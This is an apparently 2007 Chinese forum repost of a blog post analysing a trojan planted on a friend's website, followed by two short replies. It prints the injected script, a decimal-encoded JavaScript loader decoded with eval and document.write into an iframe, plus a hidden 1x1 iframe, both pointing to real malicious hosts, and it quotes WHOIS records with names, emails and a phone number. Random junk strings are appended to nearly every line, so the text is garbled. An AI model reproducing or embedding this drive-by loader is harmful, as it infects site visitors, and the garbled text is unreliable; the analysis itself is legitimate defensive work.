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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, dZ"d`M>o6  
$*vj7V_  
http://www.areway.cn/?p=175 ?oulQR6:  
M<cm]  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: BTa#}LBZ+  
          -< }#ImTN  
<script>t=’60,105,102,114,97,109,101, jU_#-<'r  
32,115,114,99,61,104,116,116,112,58,47,47, L; 'C5#GN  
102,114,101,101,46,117,45,117,117,117,46,99, ?v$1 Fc55  
110,47,101,114,114,111,114,46,104,116,109, [A46WF>L  
32,119,105,100,116,104,61,49,48,48,32,104, [K#pU:lTH  
101,105,103,104,116,61,48,62,60,47,105,102, @2R+?2 j  
114,97,109,101,62′; 4KZ)`KPE  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> &8@ a"  
                                                                                                  c%x.cbu>  
<script>t=’60,105,102,114,97,109,101,32,115, y3!#*NU  
114,99,61,104,116,116,112,58,47,47,102,114, mFJb9 ,  
101,101,46,117,45,117,117,117,46,99,110,47, :B1a2Y^"  
101,114,114,111,114,46,104,116,109,32,119, 7oFA5T _  
105,100,116,104,61,49,48,48,32,104,101,105, &~sk7iGi  
103,104,116,61,48,62,60,47,105,102,114,97, -r@/8"  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ;BjJ<?^{  
document.write(t);</script> [eZ'h8  
                                                                                                  .R{+Pz D  
<html xmlns=” Aj "SSX!L  
http://www.w3.org/1999/xhtml 15wwu} X  
“> x qLIs:*  
<head> uoe>T:  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> T[]kun  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> mBWhC<kKs  
<title>首页 - 爱生活家庭网 <7yn:  
                                                                                                                                                    A:YWXcg  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 <PTi>C8;r  
转换字符串后的大概内容是(谁点击后果自付): g].v  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… .Af H>)E  
                                                                                                                                  #Q$`3rr  
查询玉米u-uuu.cn的详细信息: 6uubkt  
Domain Name: u-uuu.cn gfm aO ]  
ROID: 20070901s10001s64972306-cn XaR(~2  
Domain Status: ok g@IYD  
Registrant Organization: 王雷 Uiu9o]n  
Registrant Name: 王雷 V SUz+W  
Administrative Email: czlovexs@126.com 2~q(?wY  
Sponsoring Registrar: 北京万网志成科技有限公司 R4Si{J*O  
Name Server:ns.yovole.com i*ji   
Name Server:ns1.yovole.com ?Qdp#K]WX  
Registration Date: 2007-09-01 17:54 \'Ewn8Qv8  
Expiration Date: 2008-09-01 17:54 iWMgU:T  
最后PING了一下地址 都没有什么…. dX ;G [\  
                                                                                                Jej-b<HmQ  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. q<!Kt I4  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> eKek~U&  
<script language=”javascript” src=” }*3#*y "  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script s&~.";b  
> ?*A"#0  
这个玉米应该有可能是木马作者的: O!.mc=Gx7  
foafau.info的详细信息: 3:G94cp5  
Access to INFO WHOIS information is provided to assist persons in kU$M 8J.  
determining the contents of a domain name registration record in the j aq/]I7  
Afilias registry database. The data in this record is provided by ljRR{HOl  
Afilias Limited for informational purposes only, and Afilias does not qr[+^*Ha  
guarantee its accuracy.  This service is intended only for query-based DU.[Sp  
access. You agree that you will use this data only for lawful purposes R22P ol  
and that, under no circumstances will you use this data to: (a) allow, %QKRl 5RM-  
enable, or otherwise support the transmission by e-mail, telephone, or "f3KE=cUm  
facsimile of mass unsolicited, commercial advertising or solicitations ?ne!LDlE|  
to entities other than the data recipient’s own existing customers; or wO3K2I]>0  
(b) enable high volume, automated, electronic processes that send /e4#D H  
queries or data to the systems of Registry Operator, a Registrar, or &4-rDR,  
Afilias except as reasonably necessary to register domain names or 7z4u?>pne*  
modify existing registrations. All rights reserved. Afilias reserves 6N]V.;0_5  
the right to modify these terms at any time. By submitting this query, 1[r;  
you agree to abide by this policy. {qkd63 X  
Domain ID:D22418703-LRMS o= N_0.  
Domain Name:FOAFAU.INFO ,Jh('r7  
Created On:20-Nov-2007 16:05:42 UTC b=j]tb,  
Last Updated On:20-Nov-2007 16:05:44 UTC O.~@V(7ah  
Expiration Date:20-Nov-2008 16:05:42 UTC d*TpHLm  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) SK_i 3?  
Status:CLIENT DELETE PROHIBITED +i.b&PF'H  
Status:CLIENT RENEW PROHIBITED >!|(n @  
Status:CLIENT TRANSFER PROHIBITED Hxzdxwz%$  
Status:CLIENT UPDATE PROHIBITED hg=BXe4:  
Status:TRANSFER PROHIBITED 1O]27"9  
Registrant ID:GODA-040110615 uSi/|  
Registrant Name:liu hong Je~d/,^WU  
Registrant Organization: *,=WaODO%  
Registrant Street1:beijing MX#MDA-4  
Registrant Street2: Z`lCS o;  
Registrant Street3: *^5..0du  
Registrant City:beijing  %Jc>joU  
Registrant State/Province: x#s=eeP1  
Registrant Postal Code:100000 VIjsz42C  
Registrant Country:CN .+TriPL  
Registrant Phone:+86.860108888777 Obm@2;^g6  
Registrant Phone Ext.: @YfCS8 eH  
Registrant FAX: (G:K?o)  
Registrant FAX Ext.: 7,N>u8cTh  
Registrant Email:bbbshiji@163.com Z2dy|e(c  
Admin ID:GODA-240110615 T c{]w?V  
Admin Name:liu hong 3e.v'ccK&  
Admin Organization: $@blP<I  
Admin Street1:beijing uKZe"wN;  
Admin Street2: \PB~ 6  
Admin Street3: e!(0y)*  
Admin City:beijing zu Jl #3YP  
Admin State/Province: \Ow-o0  
Admin Postal Code:100000 ~CB6+t>  
Admin Country:CN ToHCS/J59  
Admin Phone:+86.860108888777 p 8q9:Tz  
Admin Phone Ext.: (]mh}=:KDg  
Admin FAX: fuxBoB  
Admin FAX Ext.: )2 P4EEs[  
Admin Email:bbbshiji@163.com -\`n{$OR  
Billing ID:GODA-340110615 3=r8kh7,  
Billing Name:liu hong +jD{ O @9  
Billing Organization: *L9s7RR  
Billing Street1:beijing .qioEqK8!y  
Billing Street2: eiF!yk?2  
Billing Street3: <4W"ne28  
Billing City:beijing e,}]K'!t  
Billing State/Province: [z:bnS~yiD  
Billing Postal Code:100000 $3! j1  
Billing Country:CN Aghcjy|j  
Billing Phone:+86.860108888777 ul e]eRAG  
Billing Phone Ext.: F%Lniv/N  
Billing FAX: 4C ;4"6  
Billing FAX Ext.: _F *(" o  
Billing Email:bbbshiji@163.com }Vpr7_  
Tech ID:GODA-140110615 xi=qap=S^9  
Tech Name:liu hong O\ T  
Tech Organization: *Bt`6u.>e,  
Tech Street1:beijing /AR;O4X+  
Tech Street2: q($lL~Ls  
Tech Street3: JqO#W1h~R|  
Tech City:beijing  8IH&=3  
Tech State/Province: gkuI!=  
Tech Postal Code:100000 Mc9P(5Bf  
Tech Country:CN _gY so]S^B  
Tech Phone:+86.860108888777 HlB'yOHv!  
Tech Phone Ext.: D4m2*%M  
Tech FAX: X?b]5?K;r  
Tech FAX Ext.: & CiUU  
Tech Email:bbbshiji@163.com Hm+-gI3*  
Name Server:NS27.DOMAINCONTROL.COM 'A,&9E{%1  
Name Server:NS28.DOMAINCONTROL.COM R.R(|!w>  
Name Server: fz W%(.tc\  
Name Server: 2FO.!m  
Name Server: ,sk;|OAI  
Name Server: '?5=j1  
Name Server: *0y+=,"QU  
Name Server: ? kew[oZ  
Name Server: 5( lE$&   
Name Server: 9jiZtwRpk  
Name Server: AjaG .fa]k  
Name Server: aI|<t^X  
Name Server: &tKs t,UR8  
                                                                                                          )}?'1ciHI  
接着下载每个文件里面的代码: &j/ WjZPF  
一步一步看.. +b] g;  
6:B[8otQ  
cW,wN~  
2|o6~m<pE  
Um\Nd#=:  
GljxYH"]#  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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